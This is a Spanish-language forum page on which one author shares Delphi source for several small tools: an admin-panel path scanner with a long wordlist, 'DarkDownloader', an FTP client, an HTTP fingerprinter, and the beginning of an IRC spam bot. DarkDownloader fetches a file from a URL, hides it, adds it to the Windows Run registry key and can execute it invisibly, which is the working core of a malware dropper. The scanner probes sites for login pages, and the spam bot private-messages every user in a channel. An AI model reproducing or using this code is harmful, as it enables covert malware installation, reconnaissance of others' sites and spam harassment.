    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
    'admin/index.html', 'admin/login.html', 'admin/home.php',
    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
    'administrator/index.html', 'administrator/login.html',
    'administrator/account.html', 'administrator/account.php',
    'administrator.html', 'login.html', 'modelsearch/login.php',
    'moderator.php', 'moderator.html', 'moderator/login.php',
    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
    'moderator/', 'account.php', 'account.html', 'controlpanel/',
    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    'administrator/index.asp', 'administrator/login.asp',
    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
    'system_administration/', 'ss_vms_admin_sm/');
var
  IdHTTP: TIdHTTP;
  i: integer;

begin
  try

    sListBox1.Clear;

    sStatusBar1.Panels[0].text := '[+] Starting the scan';
    Form1.sStatusBar1.Update;

    IdHTTP := TIdHTTP.Create(nil);

    for i := Low(paginas) to High(paginas) do
      try

        sStatusBar1.Panels[0].text := '[+] Testing : ' + paginas[i];
        Form1.sStatusBar1.Update;

        IdHTTP.Get(sEdit1.text + '/' + paginas[i]);
        if IdHTTP.ResponseCode = 200 then
          sListBox1.Items.Add(sEdit1.text + '/' + paginas[i]);
        sListBox1.Update;
      except
        on E: EIdHttpProtocolException do
          ;
        on E: Exception do
          ;
      end;
  finally
    IdHTTP.Free;
  end;

  sStatusBar1.Panels[0].text := '[+] Finished';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.S2Click(Sender: TObject);
begin
  Abort;
end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin
  sEdit2.text := sListBox1.Items.Strings[sListBox1.ItemIndex];
  sEdit2.SelectAll;
  sEdit2.CopyToClipboard;
end;

end.

// The End ?


Si quieren lo puede bajar de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#186
Delphi / [Delphi] DarkDownloader 0.2
Julio 06, 2013, 12:05:28 PM
Un simple downloader con las siguientes opciones :

  • Cambiar el nombre del archivo descargado   
  • Guardarlo en una carpeta , si la carpeta no existe la crea
  • Ocultar el archivo y la carpeta
  • Hacer que ese archivo se cargue cada vez que inicie Windows
  • Cargar el archivo de forma oculta o normal

    El codigo :

    Código: delphi

    // DarkDownloader 0.2
    // Coded By Doddy H

    unit down;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
      sSkinManager, StdCtrls, sEdit, sGroupBox, ComCtrls, sStatusBar, acProgressBar,
      sRadioButton, sCheckBox, jpeg, ExtCtrls, Registry, ShellApi;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        IdHTTP1: TIdHTTP;
        sGroupBox1: TsGroupBox;
        sEdit1: TsEdit;
        Button1: TButton;
        sStatusBar1: TsStatusBar;
        sProgressBar1: TsProgressBar;
        sGroupBox2: TsGroupBox;
        sEdit2: TsEdit;
        sEdit3: TsEdit;
        sCheckBox1: TsCheckBox;
        sCheckBox2: TsCheckBox;
        sCheckBox3: TsCheckBox;
        sCheckBox4: TsCheckBox;
        Image1: TImage;
        sCheckBox5: TsCheckBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
        procedure Button1Click(Sender: TObject);

        procedure FormCreate(Sender: TObject);

        procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    function getfilename(archivo: string): string;
    var
      test: TStrings;
    begin

      test := TStringList.Create;
      test.Delimiter := '/';
      test.DelimitedText := archivo;
      Result := test[test.Count - 1];

      test.Free;

    end;

    procedure TForm1.Button1Click(Sender: TObject);
    var
      filename: string;
      nombrefinal: string;
      addnow: TRegistry;
      archivobajado: TFileStream;

    begin

      if not sCheckBox1.Checked then
      begin
        filename := sEdit1.Text;
        nombrefinal := getfilename(filename);
      end
      else
      begin
        nombrefinal := sEdit2.Text;
      end;

      archivobajado := TFileStream.Create(nombrefinal, fmCreate);

      try
        begin
          DeleteFile(nombrefinal);
          IdHTTP1.Get(sEdit1.Text, archivobajado);
          sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
          Form1.sStatusBar1.Update;
          archivobajado.Free;
        end;
      except
        sStatusBar1.Panels[0].Text := '[-] Failed download';
        Form1.sStatusBar1.Update;
        archivobajado.Free;
        Abort;
      end;

      if FileExists(nombrefinal) then
      begin

        if sCheckBox2.Checked then
        begin
          if not DirectoryExists(sEdit3.Text) then
          begin
            CreateDir(sEdit3.Text);
          end;
          MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
          sStatusBar1.Panels[0].Text := '[+] File Moved';
          Form1.sStatusBar1.Update;
        end;

        if sCheckBox3.Checked then
        begin
          SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
          if sCheckBox2.Checked then
          begin
            SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
              FILE_ATTRIBUTE_HIDDEN);

            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            Form1.sStatusBar1.Update;
          end
          else
          begin
            SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            Form1.sStatusBar1.Update;
          end;
        end;

        if sCheckBox4.Checked then
        begin

          addnow := TRegistry.Create;
          addnow.RootKey := HKEY_LOCAL_MACHINE;
          addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

          if sCheckBox2.Checked then
          begin
            addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
          end
          else
          begin
            addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
                + '/' + nombrefinal);
          end;

          sStatusBar1.Panels[0].Text := '[+] Registry Updated';
          Form1.sStatusBar1.Update;

          addnow.Free;

        end;

        if sCheckBox5.Checked then
        begin

          if sRadioButton1.Checked then
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_SHOWNORMAL);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
                SW_SHOWNORMAL);
            end;
          end
          else
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_HIDE);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
            end;
          end;

        end;

        if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
          sCheckBox4.Checked or sCheckBox5.Checked then
        begin
          sStatusBar1.Panels[0].Text := '[+] Finished';
          Form1.sStatusBar1.Update;
        end;

      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      sProgressBar1.Position := 0;
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm1.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    begin
      sProgressBar1.Position := AWorkCount;
      sStatusBar1.Panels[0].Text := '[+] Downloading ...';
      Form1.sStatusBar1.Update;
    end;

    procedure TForm1.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    begin
      sProgressBar1.Max := AWorkCountMax;
      sStatusBar1.Panels[0].Text := '[+] Starting download ...';
      Form1.sStatusBar1.Update;
    end;

    procedure TForm1.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    begin
      sProgressBar1.Position := 0;
    end;

    end.

    // The End ?


    Una imagen :



    Si quieren bajar el proyecto lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#187
Delphi / [Delphi] Project File X 0.2
Junio 29, 2013, 01:56:10 PM
Un simple cliente FTP que eh estado haciendo en Delphi con las siguientes opciones :

  • Listar archivos del servidor FTP
  • Permite moverse por los directorios
  • Se pueden subir y bajar archivos
  • Se pueden crear y borrar carpetas
  • Se pueden renombrar y borrar archivos

    Tambien tienen una tabla que les permite navegar por los directorios de sus computadoras para que les sea mas comodo bajar y subir archivos.

    Una imagen :



    El codigo

    Código: delphi

    // Project File X 0.2
    // Coded By Doddy H
    // Credits :
    // Files Manager based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=421
    // Upload file based on : http://delphiallimite.blogspot.com.ar/2007/06/subiendo-archivos-por-ftp-con-indy.html
    // Download file based : http://delphiallimite.blogspot.com.ar/2007/06/descargango-archivos-por-ftp-con-indy.html

    unit ftp;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ImgList, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection,
      IdTCPClient, IdExplicitTLSClientServerBase, IdFTP, ComCtrls, sListView,
      StdCtrls, sButton, sEdit, sLabel, sGroupBox, acProgressBar, sStatusBar,
      IdFTPList,
      ShellAPI, sListBox, jpeg, ExtCtrls, Menus;

    type
      TForm1 = class(TForm)
        IdFTP1: TIdFTP;
        sSkinManager1: TsSkinManager;
        ImageList1: TImageList;
        sGroupBox1: TsGroupBox;
        sLabel1: TsLabel;
        sEdit1: TsEdit;
        sButton1: TsButton;
        sListView1: TsListView;
        sGroupBox2: TsGroupBox;
        sLabel2: TsLabel;
        sEdit2: TsEdit;
        sLabel3: TsLabel;
        sEdit3: TsEdit;
        sLabel4: TsLabel;
        sEdit4: TsEdit;
        sButton2: TsButton;
        sStatusBar1: TsStatusBar;
        sProgressBar1: TsProgressBar;
        sGroupBox3: TsGroupBox;
        sLabel5: TsLabel;
        sEdit5: TsEdit;
        sButton3: TsButton;
        sListView2: TsListView;
        ListBox1: TListBox;
        ListBox2: TListBox;
        ImageList2: TImageList;
        sButton5: TsButton;
        Image1: TImage;
        sButton4: TsButton;

        PopupMenu1: TPopupMenu;
        D1: TMenuItem;
        R1: TMenuItem;
        R2: TMenuItem;
        M1: TMenuItem;
        D2: TMenuItem;

        PopupMenu2: TPopupMenu;
        C1: TMenuItem;
        D3: TMenuItem;
        D4: TMenuItem;
        R3: TMenuItem;
        R4: TMenuItem;
        PopupMenu3: TPopupMenu;
        A1: TMenuItem;
        E1: TMenuItem;
        procedure sButton3Click(Sender: TObject);
        procedure sListView1DblClick(Sender: TObject);
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure IdFTP1Connected(Sender: TObject);
        procedure sListView2DblClick(Sender: TObject);
        procedure sButton5Click(Sender: TObject);
        procedure IdFTP1Work(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure IdFTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure IdFTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
        procedure FormCreate(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure R1Click(Sender: TObject);
        procedure R2Click(Sender: TObject);

        procedure D2Click(Sender: TObject);
        procedure D1Click(Sender: TObject);
        procedure M1Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
        procedure D3Click(Sender: TObject);
        procedure D4Click(Sender: TObject);
        procedure R3Click(Sender: TObject);
        procedure R4Click(Sender: TObject);
        procedure D5Click(Sender: TObject);
        procedure A1Click(Sender: TObject);
        procedure E1Click(Sender: TObject);
        procedure IdFTP1Disconnected(Sender: TObject);

      private

        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure listarftp(dirnownow2: string; sListView2: TsListView; IdFTP1: TIdFTP;
      sListbox1: TListBox; sListbox2: TListBox; ImageList1: TImageList);
    var
      i: integer;
      Item: TIdFTPListItem;
      listate2: TListItem;

    begin

      sListView2.Items.Clear;
      sListbox1.Clear;
      sListbox2.Clear;

      listate2 := sListView2.Items.Add;

      IdFTP1.ChangeDir(dirnownow2);
      IdFTP1.List('*.*', True);

      for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
      begin

        Item := IdFTP1.DirectoryListing.Items[i];
        if Item.ItemType = ditFile then
        begin
          sListbox1.Items.Add(IdFTP1.DirectoryListing.Items[i].FileName);
        end
        else
        begin
          sListbox2.Items.Add(IdFTP1.DirectoryListing.Items[i].FileName);
        end;

      end;

      sListView2.Items.Clear;

      for i := 0 to sListbox2.Count - 1 do
      begin

        with sListView2 do

        begin

          listate2 := sListView2.Items.Add;
          listate2.Caption := sListbox2.Items[i];
          listate2.SubItems.Add('Directory');
          listate2.ImageIndex := 0;

        end;
      end;

      for i := 0 to sListbox1.Count - 1 do
      begin

        with sListView2 do

        begin

          listate2 := sListView2.Items.Add;
          listate2.Caption := sListbox1.Items[i];
          listate2.SubItems.Add('File');
          listate2.ImageIndex := 1;

        end;
      end;

    end;

    procedure listar(dirnownow: string; sListView1: TsListView;
      ImageList1: TImageList);
    var
      buscar: TSearchRec;
      Icon: TIcon;
      listate: TListItem;
      getdata: SHFILEINFO;
      dirnow: string;

    begin

      dirnow := StringReplace(dirnownow, '/', '\', [rfReplaceAll, rfIgnoreCase]);

      sListView1.Items.Clear;
      Icon := TIcon.Create;
      sListView1.Items.BeginUpdate;

      if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
      begin
        repeat
          if (buscar.Attr = faDirectory) then
          begin

            with sListView1 do
            begin

              if not(buscar.Name = '.') and not(buscar.Name = '..') then
              begin

                listate := sListView1.Items.Add;

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
                    (getdata), SHGFI_DISPLAYNAME);
                listate.Caption := getdata.szDisplayName;

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
                    (getdata), SHGFI_TYPENAME);
                listate.SubItems.Add(getdata.szTypeName);

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf
                    (getdata), SHGFI_ICON or SHGFI_SMALLICON);
                Icon.Handle := getdata.hIcon;
                listate.ImageIndex := ImageList1.AddIcon(Icon);

                DestroyIcon(getdata.hIcon);

              end;
            end;

          end;
        until FindNext(buscar) <> 0;
        FindClose(buscar);
      end;

      if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
      begin
        repeat
          if (buscar.Attr <> faDirectory) then
          begin

            with sListView1 do
            begin

              listate := sListView1.Items.Add;

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
                  , SHGFI_DISPLAYNAME);
              listate.Caption := buscar.Name;

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
                  , SHGFI_TYPENAME);
              listate.SubItems.Add(getdata.szTypeName);

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
                  , SHGFI_ICON or SHGFI_SMALLICON);
              Icon.Handle := getdata.hIcon;
              listate.ImageIndex := ImageList1.AddIcon(Icon);

              DestroyIcon(getdata.hIcon);

            end;

          end

          until FindNext(buscar) <> 0;
          FindClose(buscar);
        end;

        sListView1.Items.EndUpdate;

      end;

      procedure TForm1.FormCreate(Sender: TObject);
      begin
        sProgressBar1.Max := 0;

        sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName)
          + 'Data';
        sSkinManager1.SkinName := 'matrix';
        sSkinManager1.Active := True;

      end;

      procedure TForm1.A1Click(Sender: TObject);
      begin
        ShowMessage('Contact to lepuke[at]hotmail[com]');
      end;

      procedure TForm1.C1Click(Sender: TObject);
      var
        newdir: string;
      begin

        newdir := InputBox('Write the name', 'Directory : ', 'test');

        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.MakeDir(newdir);
            ShowMessage('Directory created');
          end
        except
          begin
            ShowMessage('Error');
          end;
        end;

      end;

      procedure TForm1.D1Click(Sender: TObject);
      begin

        try
          begin
            RmDir(sEdit1.Text + sListView1.Selected.Caption);
            ShowMessage('Directory Deleted');
          end;
        except
          begin
            ShowMessage('Error');
          end;

        end;

      end;

      procedure TForm1.D2Click(Sender: TObject);
      begin

        if DeleteFile(sEdit1.Text + sListView1.Selected.Caption) then
        begin
          ShowMessage('File Deleted');
        end
        else
        begin
          ShowMessage('Error');
        end;

      end;

      procedure TForm1.IdFTP1Connected(Sender: TObject);
      begin
        sStatusBar1.Panels[0].Text := '[+] OnLine';
        Form1.sStatusBar1.Update;
      end;

      procedure TForm1.IdFTP1Disconnected(Sender: TObject);
      begin
        sStatusBar1.Panels[0].Text := '[+] OffLine';
        Form1.sStatusBar1.Update;
      end;

      procedure TForm1.IdFTP1Work(ASender: TObject; AWorkMode: TWorkMode;
        AWorkCount: Int64);
      begin

        sStatusBar1.Panels[0].Text := '[+] Working ...';
        Form1.sStatusBar1.Update;

        sProgressBar1.Position := AWorkCount div 1024;
      end;

      procedure TForm1.IdFTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
        AWorkCountMax: Int64);
      begin

        sStatusBar1.Panels[0].Text := '[+] Working ..';
        Form1.sStatusBar1.Update;

      end;

      procedure TForm1.IdFTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      begin
        sStatusBar1.Panels[0].Text := '[+] Finished';
        Form1.sStatusBar1.Update;
        sProgressBar1.Max := 0;
      end;

      procedure TForm1.M1Click(Sender: TObject);
      var
        nombrecarpeta: string;
      begin

        chdir(sEdit1.Text);
        nombrecarpeta := InputBox('Write the name', 'Directory : ', 'test');
        try
          begin
            MkDir(nombrecarpeta);
            ShowMessage('Folder Created');
          end;
        except
          begin
            ShowMessage('Error');
          end;

        end;

      end;

      procedure TForm1.R1Click(Sender: TObject);
      var
        nuevonombre: string;
      begin
        nuevonombre := InputBox('Write the name', 'New name : ', 'testar');

        chdir(sEdit1.Text);
        if RenameFile(sListView1.Selected.Caption, nuevonombre) then
        begin
          ShowMessage('Ok');
        end
        else
        begin
          ShowMessage('Error');
        end;
      end;

      procedure TForm1.R2Click(Sender: TObject);
      begin
        listar(sEdit1.Text, sListView1, ImageList1);
      end;

      procedure TForm1.R3Click(Sender: TObject);
      var
        newname: string;
      begin

        newname := InputBox('Write the name', 'New name : ', 'testar');

        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.Rename(sListView2.Selected.Caption, newname);
            ShowMessage('File rename');
          end;
        except
          begin
            ShowMessage('Error');
          end;
        end;
      end;

      procedure TForm1.R4Click(Sender: TObject);
      begin
        listarftp(sEdit5.Text, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
      end;

      procedure TForm1.sButton1Click(Sender: TObject);
      begin
        listar(sEdit1.Text, sListView1, ImageList1);
      end;

      procedure TForm1.sButton2Click(Sender: TObject);
      begin

        sListView1.Items.Clear;
        sListView2.Items.Clear;

        ListBox1.Clear;
        ListBox2.Clear;

        if (sButton2.Caption = 'Disconnect') then
        begin
          IdFTP1.Disconnect;
          sButton2.Caption := 'Connect';
        end
        else
        begin

          IdFTP1.Host := sEdit2.Text;
          IdFTP1.Username := sEdit3.Text;
          IdFTP1.Password := sEdit4.Text;

          try
            IdFTP1.Connect;
            sButton2.Caption := 'Disconnect';
          except
            sStatusBar1.Panels[0].Text := '[-] Error';
            Form1.sStatusBar1.Update;
          end;
        end;
      end;

      procedure TForm1.sButton3Click(Sender: TObject);
      begin
        listarftp(sEdit5.Text, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
      end;

      procedure TForm1.sButton4Click(Sender: TObject);
      var
        fileabajar: string;
      begin

        fileabajar := sListView2.Selected.Caption; ;
        IdFTP1.OnWork := IdFTP1Work;
        IdFTP1.ChangeDir(sEdit5.Text);

        sProgressBar1.Max := IdFTP1.Size(ExtractFileName(fileabajar)) div 1024;

        IdFTP1.Get(fileabajar, sEdit1.Text + '/' + fileabajar, False, False);

      end;

      procedure TForm1.sButton5Click(Sender: TObject);
      var
        fileasubir: string;
        dirasubir: string;
        cantidad: File of byte;
      begin

        fileasubir := sEdit1.Text + sListView1.Selected.Caption;
        dirasubir := sEdit5.Text;

        IdFTP1.OnWork := IdFTP1Work;

        AssignFile(cantidad, fileasubir);
        Reset(cantidad);
        sProgressBar1.Max := FileSize(cantidad) div 1024;
        CloseFile(cantidad);

        IdFTP1.ChangeDir(dirasubir);
        IdFTP1.Put(fileasubir, sListView1.Selected.Caption, False);

      end;

      procedure TForm1.sListView1DblClick(Sender: TObject);
      var
        dir: string;
      begin

        dir := sEdit1.Text + sListView1.Selected.Caption + '/';
        if (DirectoryExists(dir)) then
        begin
          sEdit1.Text := sEdit1.Text + sListView1.Selected.Caption + '/';
          listar(dir, sListView1, ImageList1);
        end;
      end;

      procedure TForm1.sListView2DblClick(Sender: TObject);
      var
        dir: string;
      begin
        dir := sEdit5.Text + sListView2.Selected.Caption + '/';
        sEdit5.Text := sEdit5.Text + sListView2.Selected.Caption + '/';
        listarftp(dir, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
      end;

      procedure TForm1.D3Click(Sender: TObject);
      begin
        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.Delete(sListView2.Selected.Caption);
            ShowMessage('File Deleted');
          end;
        except
          begin
            ShowMessage('Error');
          end;
        end;
      end;

      procedure TForm1.D4Click(Sender: TObject);
      begin

        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.RemoveDir(sListView2.Selected.Caption);
            ShowMessage('Directory Deleted');
          end
        except
          ShowMessage('Error');
        end;

      end;

      procedure TForm1.D5Click(Sender: TObject);
      begin
        IdFTP1.Disconnect;
      end;

      procedure TForm1.E1Click(Sender: TObject);
      begin
        Form1.Close();
      end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#188
Delphi / [Delphi] HTTP FingerPrinting 0.1
Junio 22, 2013, 12:18:32 PM
Un simple HTTP FingerPrinting hecho en Delphi.

Una imagen :



El codigo :

Código: delphi

// HTTP FingerPrinting 0.1
// Coded By Doddy H

unit http;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sMemo, sButton, sEdit, sLabel, sGroupBox, sSkinManager,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  IdCookieManager, Sockets, ComCtrls, sStatusBar, jpeg, ExtCtrls;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sMemo1: TsMemo;
    IdHTTP1: TIdHTTP;
    sStatusBar1: TsStatusBar;
    Image1: TImage;
    IdCookieManager1: TIdCookieManager;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cappuccino';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  i: integer;

begin

  sStatusBar1.Panels[0].text := '[+] Working ...';
  Form1.sStatusBar1.Update;

  sMemo1.Clear;

  try

    IdHTTP1.Get(sEdit1.text);

    sMemo1.Lines.Add('[+] ' + IdHTTP1.Response.ResponseText);
    sMemo1.Lines.Add('[+] Date : ' + DateTimeToStr(IdHTTP1.Response.Date));
    sMemo1.Lines.Add('[+] Server : ' + IdHTTP1.Response.Server);
    sMemo1.Lines.Add('[+] Last-Modified : ' + DateTimeToStr
        (IdHTTP1.Response.LastModified));
    sMemo1.Lines.Add('[+] ETag: ' + IdHTTP1.Response.ETag);
    sMemo1.Lines.Add('[+] Accept-Ranges : ' + IdHTTP1.Response.AcceptRanges);
    sMemo1.Lines.Add('[+] Content-Length : ' + IntToStr
        (IdHTTP1.Response.ContentLength));
    sMemo1.Lines.Add('[+] Connection : ' + IdHTTP1.Response.Connection);
    sMemo1.Lines.Add('[+] Content-Type : ' + IdHTTP1.Response.ContentType);

    for i := 1 to IdCookieManager1.CookieCollection.count do
    begin
      sMemo1.Lines.Add('[+] Cookie : ' + IdCookieManager1.CookieCollection.Items
          [i - 1].CookieText);
    end;

    sStatusBar1.Panels[0].text := '[+] Done';
    Form1.sStatusBar1.Update;

  except
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;

  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#189
Delphi / [Delphi] Spam King 0.2
Junio 14, 2013, 02:04:10 PM
Un simple programa para spammear en un canal IRC , solo ponen los mensajes a enviar y el programa cada cierto tiempo marcado por ustedes mandara mensajes privados a cada persona en ese canal marcado.

Una imagen :



El codigo

Código: delphi

// Spam King 0.2
// Coded By Doddy H

unit irc;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sSkinManager, ExtCtrls, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdContext, IdCmdTCPClient,
  IdIRC, sMemo, sGroupBox, sLabel, sEdit, ComCtrls, sStatusBar, sListBox,
  PerlRegEx, jpeg, acPNG;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Timer1: TTimer;
    IdIRC1: TIdIRC;
    sGroupBox1: TsGroupBox;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    sLabel4: TsLabel;
    sEdit4: TsEdit;
    sStatusBar1: TsStatusBar;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sLabel5: TsLabel;
    sEdit5: TsEdit;
    sButton2: TsButton;
    sGroupBox3: TsGroupBox;
    sListBox2: TsListBox;
    sButton1: TsButton;
    sLabel6: TsLabel;
    sEdit6: TsEdit;
    sButton3: TsButton;
    sGroupBox4: TsGroupBox;
    sMemo1: TsMemo;
    PerlRegEx1: TPerlRegEx;
    Console: TsGroupBox;
    sMemo2: TsMemo;
    sLabel1: TsLabel;
    Image1: TImage;
    sLabel7: TsLabel;
    procedure sButton1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
